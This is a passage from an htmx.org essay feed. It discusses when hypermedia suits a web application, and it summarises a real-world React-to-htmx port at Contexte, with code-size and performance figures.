&lt;li&gt;Hypermedia is often &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;a-real-world-react-to-htmx-port&#x2F;&quot;&gt;significantly less complex&lt;&#x2F;a&gt; than an SPA approach would
be for many problems&lt;&#x2F;li&gt;
&lt;li&gt;Hypermedia allows your application API to be &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hateoas&#x2F;&quot;&gt;much more aggressively refactored and optimized&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Hypermedia takes pressure off adopting a particular server technology, since you do not have an extensive JavaScript
front-end code base&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;With &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;&quot;&gt;htmx&lt;&#x2F;a&gt; and the additional UX possibilities that it gives you, we believe that many modern web applications can be built
using HTML and the hypermedia paradigm.&lt;&#x2F;p&gt;
&lt;p&gt;With that being said, as with all technical choices, there are tradeoffs associated with hypermedia.  In this article
we will give you some ways to think about if hypermedia will be a good fit for an application or feature you are building.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;transitional-applications-hypermedia&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#transitional-applications-hypermedia&quot; aria-label=&quot;Anchor link for: transitional-applications-hypermedia&quot;&gt;Transitional Applications &amp;amp; Hypermedia&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Before we get into the details of when hypermedia is a good choice, we’d like to clarify that adopting hypermedia is not
an &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Either&#x2F;Or&quot;&gt;either&#x2F;or&lt;&#x2F;a&gt; decision when building a web application.  Even the most Single-y
of Single Page Applications utilizes hypermedia after all: as a bootstrap mechanism, to start the application.&lt;&#x2F;p&gt;
&lt;p&gt;In his talk, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=860d8usGC0o&quot;&gt;Have SPAs Ruined The Web&lt;&#x2F;a&gt;, Rich Harris gives us the term
“Transitional” Applications, that is applications that &lt;em&gt;mix&lt;&#x2F;em&gt; both hypermedia and non-hypermedia (SPA) concepts.  We
have responded to Mr. Harris’ talk &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;a-response-to-rich-harris&#x2F;&quot;&gt;in more detail here&lt;&#x2F;a&gt;, but suffice to say we
violently agree with him that a pragmatic “Transitional” approach to web development is best: you should use the
right tool for the particular job you are working on.&lt;&#x2F;p&gt;
&lt;p&gt;Where we would likely disagree with Mr. Harris is where “the line” is between features that can be implemented
effectively in hypermedia and features that require a more sophisticated client-side approach.  We feel that, with htmx,
hypermedia can go much, much further than many web developers today believe is possible.  And, further, that, for many
applications, it can address many or all of their UX needs.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;hypermedia-a-good-fit-if&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#hypermedia-a-good-fit-if&quot; aria-label=&quot;Anchor link for: hypermedia-a-good-fit-if&quot;&gt;Hypermedia: A Good Fit If…&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;if-your-ui-is-mostly-text-images&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#if-your-ui-is-mostly-text-images&quot; aria-label=&quot;Anchor link for: if-your-ui-is-mostly-text-images&quot;&gt;&lt;em&gt;…If your UI is mostly text &amp;amp; images&lt;&#x2F;em&gt;&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;In &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;a-real-world-react-to-htmx-port&#x2F;&quot;&gt;The Mother Of All htmx Demos&lt;&#x2F;a&gt;, David Guillot of Contexte shows how replacing
React with htmx lead to a 67% reduction in the total codebase, along with numerous other eye-popping results.&lt;&#x2F;p&gt;
&lt;p&gt;As much as we would like to claim that every team moving from React to htmx would experience these results, the fact is that the
Contexte web application is &lt;em&gt;extremely amenable&lt;&#x2F;em&gt; to the hypermedia style.&lt;&#x2F;p&gt;
&lt;p&gt;What makes Contexte so perfect for hypermedia is that it is a media-oriented web application, showing articles consisting
of text and images for reading.  It has a sophisticated filtering mechanism and other niceties, but the crux of the
application is displaying and categorizing articles.  This is exactly the sort of thing that hypermedia was designed to
do, and this is why htmx and hypermedia worked so well for their application.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;if-your-ui-is-crud-y&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#if-your-ui-is-crud-y&quot; aria-label=&quot;Anchor link for: if-your-ui-is-crud-y&quot;&gt;&lt;em&gt;…If your UI is CRUD-y&lt;&#x2F;em&gt;&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Another area where hypermedia has a long track-record of success is &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Create,_read,_update_and_delete&quot;&gt;CRUD&lt;&#x2F;a&gt;-y
web applications, in the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rubyonrails.org&#x2F;&quot;&gt;Ruby on Rails&lt;&#x2F;a&gt; style.  If your main application mechanic is showing
forms and saving the forms into a database, hypermedia can work very well.&lt;&#x2F;p&gt;
&lt;p&gt;And, with htmx, it can also be &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;examples&#x2F;click-to-edit&#x2F;&quot;&gt;very smooth&lt;&#x2F;a&gt;, and not just constrained
to the simple &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;examples&#x2F;edit-row&#x2F;&quot;&gt;list view&#x2F;detail view&lt;&#x2F;a&gt; approach many server side applications take.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;if-your-ui-is-nested-with-updates-mostly-taking-place-within-well-defined-blocks&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#if-your-ui-is-nested-with-updates-mostly-taking-place-within-well-defined-blocks&quot; aria-label=&quot;Anchor link for: if-your-ui-is-nested-with-updates-mostly-taking-place-within-well-defined-blocks&quot;&gt;&lt;em&gt;…If your UI is “nested”, with updates mostly taking place within well-defined blocks&lt;&#x2F;em&gt;&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;One area where hypermedia can start to go a little wobbly is when you have UI dependencies that span structural
areas of the screen.  A good example of this, and one that often comes up when discussing the hypermedia approach, is the issue
count number shown on the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;bigskysoftware&#x2F;htmx&#x2F;issues&quot;&gt;“Issues” tab&lt;&#x2F;a&gt; in GitHub.  For a long time,
when you closed an issue on GitHub, the issue count on the tab did not update properly.  GitHub, in general (although
not exclusively), uses a hypermedia-style application.&lt;&#x2F;p&gt;
&lt;p&gt;“Ah ha!”, exclaims the SPA enthusiast, “See, even GitHub can’t get this right!”&lt;&#x2F;p&gt;
&lt;p&gt;Well, GitHub has fixed the issue, but it does demonstrate a problem with the hypermedia approach: how do you update
disjoint parts of the UI cleanly?  htmx offers &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;examples&#x2F;update-other-content&#x2F;&quot;&gt;a few techniques for making this work&lt;&#x2F;a&gt;,
and Contexte, in their talk, discuss handling this situation very cleanly, using the event approach.&lt;&#x2F;p&gt;
&lt;p&gt;But, let us grant that this is an area where the hypermedia approach can get into trouble.  To avoid this problem, one
potential strategy is to colocate dependent elements for a given resource within a given region or area on the screen in an
application.&lt;&#x2F;p&gt;
&lt;p&gt;As an example, consider a contact application whose detail screen for displaying and editing a contact has:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;An area for basic contact information&lt;&#x2F;li&gt;
&lt;li&gt;An area for the contact’s emails, and the count of those emails&lt;&#x2F;li&gt;
&lt;li&gt;An area for the contact’s phone numbers, and the count of those phone numbers&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;This UI could be laid out in the following manner:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;nesting-example.png&quot; alt=&quot;Nested Example&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;In this scenario, each subsection can have its own dedicated hypermedia end-points:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&#x2F;contacts&#x2F;&amp;lt;id&amp;gt;&#x2F;details&lt;&#x2F;code&gt; for the first name&#x2F;last name&#x2F; etc. info&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;contacts&#x2F;&amp;lt;id&amp;gt;&#x2F;emails&lt;&#x2F;code&gt; for the email section&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;contacts&#x2F;&amp;lt;id&amp;gt;&#x2F;phonenumbers&lt;&#x2F;code&gt; for the phone numbers section&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;The trick here is that the email and phone counts are co-located on the screen with their collections, which allows you to
&lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;attributes&#x2F;hx-target&#x2F;&quot;&gt;target&lt;&#x2F;a&gt; just that particular area for update when a modification is made to the respective
collections.  All the data dependencies are co-located within a single area that can be updated via a single, simple
and obvious target, and that, further, don’t interfere with one another when they are replaced.&lt;&#x2F;p&gt;
&lt;p&gt;Each area effectively forms a sort of server-side component, independent of the other areas on the screen, and they are
all nested within a broader contact detail user interface.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;a-side-node-ui-driven-hypermedia-apis&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#a-side-node-ui-driven-hypermedia-apis&quot; aria-label=&quot;Anchor link for: a-side-node-ui-driven-hypermedia-apis&quot;&gt;A Side Node: UI Driven Hypermedia APIs&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;Note that our hypermedia API (i.e. our end-points) in this case is &lt;em&gt;driven by the UI&lt;&#x2F;em&gt;: we have a particular UI layout
that we want to achieve, and we adapt our API to that.  If the UI changed, we would have no qualms with completely changing
our API to satisfy the new requirements.  This is a &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hateoas&#x2F;&quot;&gt;unique aspect&lt;&#x2F;a&gt; of developing with
hypermedia, and we &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hypermedia-apis-vs-data-apis&#x2F;&quot;&gt;discuss it in more detail here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Of course, there may be UI requirements that do not allow for grouping of dependent element in this manner and, if
the techniques &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;examples&#x2F;update-other-content&#x2F;&quot;&gt;mentioned above&lt;&#x2F;a&gt; aren’t satisfactory, then it may be
time to consider an alternative approach.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;if-you-need-deep-links-good-first-render-performance&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#if-you-need-deep-links-good-first-render-performance&quot; aria-label=&quot;Anchor link for: if-you-need-deep-links-good-first-render-performance&quot;&gt;&lt;em&gt;…If you need “deep links” &amp;amp; good first-render performance&lt;&#x2F;em&gt;&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;A final area where hypermedia outperforms other options is when you need “deep links”, that is, links into your
application that go beyond the landing page, or when you need excellent first-render performance.&lt;&#x2F;p&gt;
&lt;p&gt;Since hypermedia is the natural language of the web, and since browsers are very good at rendering HTML given a URL,
using this approach is hard to beat for “traditional” web features such as these.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;hypermedia-not-a-good-fit-if&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#hypermedia-not-a-good-fit-if&quot; aria-label=&quot;Anchor link for: hypermedia-not-a-good-fit-if&quot;&gt;Hypermedia: Not A Good Fit If…&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;if-your-ui-has-many-dynamic-interdependencies&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#if-your-ui-has-many-dynamic-interdependencies&quot; aria-label=&quot;Anchor link for: if-your-ui-has-many-dynamic-interdependencies&quot;&gt;&lt;em&gt;…If your UI has many, dynamic interdependencies&lt;&#x2F;em&gt;&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;As we discussed above in the section on “nested” UIs, one area where hypermedia can have trouble is when there are
many UI dependencies spread across your UI and you can’t afford to “update the whole UI”.  This is what Roy Fielding was
getting at in the quote at the top of this article: the web was designed for large-grain hypermedia data transfers, not
for lots of small data exchanges.&lt;&#x2F;p&gt;
&lt;p&gt;Particularly difficult for hypermedia to handle is when these dependencies are dynamic, that is, they depend on information
that cannot be determined at server-side render-time.  A good example of this is something like a spreadsheet: a user can
enter an arbitrary function into a cell and introduce all sorts of dependencies on the screen, on the fly.&lt;&#x2F;p&gt;
&lt;p&gt;(Note, however, that for many applications, the &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;examples&#x2F;edit-row&#x2F;&quot;&gt;“editable row”&lt;&#x2F;a&gt; pattern is an
acceptable alternative to more general spreadsheet-like behavior, and this pattern does play well with hypermedia by
isolating edits within a bounded area.)&lt;&#x2F;p&gt;
&lt;h3 id=&quot;if-you-require-offline-functionality&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#if-you-require-offline-functionality&quot; aria-label=&quot;Anchor link for: if-you-require-offline-functionality&quot;&gt;&lt;em&gt;…If you require offline functionality&lt;&#x2F;em&gt;&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;The hypermedia distributed architecture leans heavily on the server side for rendering representations of resources. When
a server is down or unreachable, the architecture will obviously have trouble.  It is possible to use Service Workers
to handle offline requests (although this is a complex option), and it is also easy to detect when a hypermedia
application is offline and show an offline message, as many thick-client application do.&lt;&#x2F;p&gt;
&lt;p&gt;But if your application requires full functionality in an offline environment, then the hypermedia approach is not
going to be an acceptable one.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;if-your-ui-state-is-updated-extremely-frequently&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#if-your-ui-state-is-updated-extremely-frequently&quot; aria-label=&quot;Anchor link for: if-your-ui-state-is-updated-extremely-frequently&quot;&gt;&lt;em&gt;…If your UI state is updated extremely frequently&lt;&#x2F;em&gt;&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Another situation where hypermedia is not going to be a good approach is if your UI state is updated frequently.  A good
example is an online game that needs to capture mouse movements.  Putting a hypermedia network request in-between a mouse
move and a UI update will not work well, and you would be far better off writing your own client-side state management
for the game and syncing with a server using a different technology.&lt;&#x2F;p&gt;
&lt;p&gt;Of course, your game may also have a setting page and that setting page might be better done with hypermedia than
whatever solution you use for the core of your game.  There is nothing wrong with mixing approaches, in the Transitional
style!&lt;&#x2F;p&gt;
&lt;p&gt;We should note, however, that it is typically easier to embed SPA components &lt;em&gt;within&lt;&#x2F;em&gt; a larger hypermedia
architecture, than vice-versa.  Isolated client-side components can communicate with a broader hypermedia application
via &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Learn&#x2F;JavaScript&#x2F;Building_blocks&#x2F;Events&quot;&gt;events&lt;&#x2F;a&gt;, in the manner demonstrated
in the &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;examples&#x2F;sortable&#x2F;&quot;&gt;drag-and-drop Sortable.js + htmx&lt;&#x2F;a&gt; example.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;if-you-want-integrated-copy-paste-components&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#if-you-want-integrated-copy-paste-components&quot; aria-label=&quot;Anchor link for: if-you-want-integrated-copy-paste-components&quot;&gt;&lt;em&gt;…If you want integrated copy &amp;amp; paste components&lt;&#x2F;em&gt;&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Recently we have seen the rise of “Copy &amp;amp; Paste” friendly components such as &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ui.shadcn.com&#x2F;&quot;&gt;ShadCN&lt;&#x2F;a&gt;.
These components are typically designed for a specific front end framework such as React, and choosing htmx means that
you can’t use them.&lt;&#x2F;p&gt;
&lt;p&gt;There are front-end library neutral component libraries such as &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;lit.dev&#x2F;&quot;&gt;lit&lt;&#x2F;a&gt;, but they are not as integrated
with htmx as ShadCN is with React.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;if-your-team-is-not-on-board&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#if-your-team-is-not-on-board&quot; aria-label=&quot;Anchor link for: if-your-team-is-not-on-board&quot;&gt;&lt;em&gt;…If your team is not on board&lt;&#x2F;em&gt;&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;A final reason to not choose hypermedia isn’t technical, but rather sociological: currently, hypermedia simply isn’t
in favor in web development.  Many companies have adopted React as their standard library for building web applications.&lt;br &#x2F;&gt;
Many developers and consultants have bet their careers on it.  Many hiring managers have never heard of hypermedia, let
alone htmx, but put React on every job they post out of habit.  It is certainly much easier to hire for!&lt;&#x2F;p&gt;
&lt;p&gt;While this is frustrating, it is a real phenomenon and should be borne in mind with humility.  Although Contexte
was able to rewrite their application quickly and effectively in htmx, not all teams are as small, agile and
passionate, nor are all applications such slam dunks for the approach.  It may be better to adopt hypermedia around
the edges, perhaps for internal tools first, to prove its value first, before taking a broader look at it.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#conclusion&quot; aria-label=&quot;Anchor link for: conclusion&quot;&gt;Conclusion&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;We are often asked: “OK, so what sorts of applications &lt;strong&gt;wouldn’t&lt;&#x2F;strong&gt; htmx be good for”.  We prefer to think about
things on a feature-by-feature basis using the “Transitional” application concept, but it is useful to have some
broad, popular applications in mind when thinking about just how much might be done in hypermedia versus other
approaches.&lt;&#x2F;p&gt;
&lt;p&gt;To give an example of two famous applications that we think &lt;em&gt;could&lt;&#x2F;em&gt; be implemented cleanly in hypermedia, consider
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&quot;&gt;Twitter&lt;&#x2F;a&gt; or &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gmail.com&quot;&gt;GMail&lt;&#x2F;a&gt;.  Both web applications are text-and-image heavy, with
coarse-grain updates and, thus, would be quite amenable to a hypermedia approach.&lt;&#x2F;p&gt;
&lt;p&gt;Two famous examples of web applications that would &lt;em&gt;not&lt;&#x2F;em&gt; be amenable to a hypermedia approach are
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.google.com&#x2F;sheets&#x2F;about&#x2F;&quot;&gt;Google Sheets&lt;&#x2F;a&gt; and &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;maps.google.com&quot;&gt;Google Maps&lt;&#x2F;a&gt;.  Google Sheets can have
a large amounts of state within and interdependencies between many cells, making it untenable to issue a server request on every
cell update.  Google Maps, on the other hand, responds rapidly to mouse movements and simply can’t afford a server round trip for
every one of them.  Both of these applications require a much more sophisticated client-side setup than what hypermedia
can provide.&lt;&#x2F;p&gt;
&lt;p&gt;Of course, the vast majority of web applications are nowhere near the scale and complexity of these examples. And almost
every web application, even Google Sheets or Google Maps, has parts where, potentially, the hypermedia approach would be
better: simpler, faster and cleaner.&lt;&#x2F;p&gt;
&lt;p&gt;Having hypermedia as a tool in your tool-chest will improve your ability to address engineering problems as a web
developer, even if it doesn’t become your favorite hammer.  There is a good &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hateoas&#x2F;&quot;&gt;theoretical basis&lt;&#x2F;a&gt;
for the approach, &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;a-real-world-react-to-htmx-port&#x2F;&quot;&gt;practical benefits for many applications&lt;&#x2F;a&gt;,
and it is “with the grain” of the web in a way that other approaches are not.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>A Real World React -&gt; htmx Port</title>
        <published>2022-09-29T00:00:00+00:00</published>
        <updated>2022-10-15T00:00:00+00:00</updated>
        
        <author>
          <name>
            Carson Gross
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/a-real-world-react-to-htmx-port/"/>
        <id>https://htmx.org/essays/a-real-world-react-to-htmx-port/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/a-real-world-react-to-htmx-port/">&lt;p&gt;It is all well and good talking about &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hateoas&#x2F;&quot;&gt;REST &amp;amp; HATEOAS&lt;&#x2F;a&gt; in theory or describing the
&lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hypermedia-driven-applications&#x2F;&quot;&gt;Hypermedia-Driven Application&lt;&#x2F;a&gt; architecture, but, at the end of the day, what
matters in software is practical: Does it work?  Does it improve things?&lt;&#x2F;p&gt;
&lt;p&gt;We can say for sure that htmx &lt;em&gt;works&lt;&#x2F;em&gt;, since we use it in our own software.  But it is hard to say that it would be
an &lt;em&gt;improvement&lt;&#x2F;em&gt; over other approaches, since we haven’t had an apples-to-apples comparison of how htmx might compare with,
say, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;reactjs.org&#x2F;&quot;&gt;react&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Until now.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;David-Guillot&quot;&gt;David Guillot&lt;&#x2F;a&gt; at &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.contexte.com&#x2F;&quot;&gt;Contexte&lt;&#x2F;a&gt; has given what we are calling
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;The_Mother_of_All_Demos&quot;&gt;“The Mother of All htmx Demos”&lt;&#x2F;a&gt; at
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;pretalx.evolutio.pt&#x2F;djangocon-europe-2022&#x2F;talk&#x2F;MZWJEA&#x2F;&quot;&gt;DjangoCon 2022&lt;&#x2F;a&gt;:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;From React to htmx on a real-world SaaS product: we did it, and it’s awesome!&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;We took the plunge and replaced the 2-year-of-work React UI of our SaaS product with simple Django templates and htmx
in a couple of months. We’d like to share our experience with you, with concrete indicators on various aspects, and
convince your CTO!&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;video&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#video&quot; aria-label=&quot;Anchor link for: video&quot;&gt;Video&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;You can (should!) watch the entire presentation here:&lt;&#x2F;p&gt;
&lt;iframe style=&quot;max-width: 100%&quot; width=&quot;618&quot; height=&quot;352&quot; src=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;embed&#x2F;3GObi93tjZI&quot; title=&quot;DjangoCon 2022 | From React to htmx on a real-world SaaS product: we did it, and it&#x27;s awesome!&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen&gt;&lt;&#x2F;iframe&gt;
&lt;h2 id=&quot;executive-summary&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#executive-summary&quot; aria-label=&quot;Anchor link for: executive-summary&quot;&gt;Executive Summary&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;The effort took about &lt;strong&gt;2 months&lt;&#x2F;strong&gt; (with a 21K LOC code base, mostly JavaScript)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;No reduction&lt;&#x2F;strong&gt; in the application’s user experience (UX)&lt;&#x2F;li&gt;
&lt;li&gt;They reduced the &lt;strong&gt;code base size&lt;&#x2F;strong&gt; by &lt;strong&gt;67%&lt;&#x2F;strong&gt; (21,500 LOC to 7200 LOC)&lt;&#x2F;li&gt;
&lt;li&gt;They &lt;em&gt;increased&lt;&#x2F;em&gt; &lt;strong&gt;python code&lt;&#x2F;strong&gt; by &lt;strong&gt;140%&lt;&#x2F;strong&gt; (500 LOC to 1200 LOC), a good thing if you prefer python to JS&lt;&#x2F;li&gt;
&lt;li&gt;They reduced their total &lt;strong&gt;JS dependencies&lt;&#x2F;strong&gt; by &lt;strong&gt;96%&lt;&#x2F;strong&gt; (255 to 9)&lt;&#x2F;li&gt;
&lt;li&gt;They reduced their &lt;strong&gt;web build time&lt;&#x2F;strong&gt; by &lt;strong&gt;88%&lt;&#x2F;strong&gt; (40 seconds to 5)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;First load time-to-interactive&lt;&#x2F;strong&gt; was reduced by &lt;strong&gt;50-60%&lt;&#x2F;strong&gt; (from 2 to 6 seconds to 1 to 2 seconds)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Much larger data sets were possible&lt;&#x2F;strong&gt; when using htmx, because react simply couldn’t handle the data&lt;&#x2F;li&gt;
&lt;li&gt;Web application &lt;strong&gt;memory usage&lt;&#x2F;strong&gt; was reduced by &lt;strong&gt;46%&lt;&#x2F;strong&gt; (75MB to 45MB)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;analysis&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#analysis&quot; aria-label=&quot;Anchor link for: analysis&quot;&gt;Analysis&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;These are eye-popping numbers, and they reflect the fact that the Contexte application is extremely amenable to
hypermedia: it is a content-focused application that shows lots of text and images.  We would not expect every
web application to see these sorts of numbers.&lt;&#x2F;p&gt;
&lt;p&gt;However, we &lt;em&gt;would&lt;&#x2F;em&gt; expect &lt;em&gt;many&lt;&#x2F;em&gt; applications to see dramatic improvements by adopting the hypermedia&#x2F;htmx approach, at
least for part of their system.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;dev-team-makeup&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#dev-team-makeup&quot; aria-label=&quot;Anchor link for: dev-team-makeup&quot;&gt;Dev Team Makeup&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;One easy-to-overlook aspect of the port is the effect it had on the team’s structure.  When Contexte was using react,
there was a hard split between back-end and front-end, with two developers being entirely back-end, one developer being
entirely front-end, and one developer being “full stack”.&lt;&#x2F;p&gt;
&lt;p&gt;(“Full stack” here means they are comfortable doing work on both the front-end and back-end, and, thus are able to
develop features entirely independently across the whole “stack”.)&lt;&#x2F;p&gt;
&lt;p&gt;After the port to htmx, &lt;em&gt;the entire team&lt;&#x2F;em&gt; became “full stack” developers.  This means that each team member is more
effective and able to contribute more value.  It also makes development more fun, since developers can own an entire
feature.  Finally, it can lead to better optimized software, since the developer can make optimizations anywhere in
the stack without needing to coordinate with other developers.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;slides&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#slides&quot; aria-label=&quot;Anchor link for: slides&quot;&gt;Slides&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The slides for the presentation can be found here (be sure to check the excellent speakers notes!)&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.google.com&#x2F;presentation&#x2F;d&#x2F;1jW7vTiHFzA71m2EoCywjNXch-RPQJuAkTiLpleYFQjI&#x2F;edit?usp=sharing&quot;&gt;https:&#x2F;&#x2F;docs.google.com&#x2F;presentation&#x2F;d&#x2F;1jW7vTiHFzA71m2EoCywjNXch-RPQJuAkTiLpleYFQjI&#x2F;edit?usp=sharing&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Template Fragments</title>
        <published>2022-08-03T00:00:00+00:00</published>
        <updated>2023-03-18T00:00:00+00:00</updated>
        
        <author>
          <name>
            Carson Gross
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/template-fragments/"/>
        <id>https://htmx.org/essays/template-fragments/</id>
        
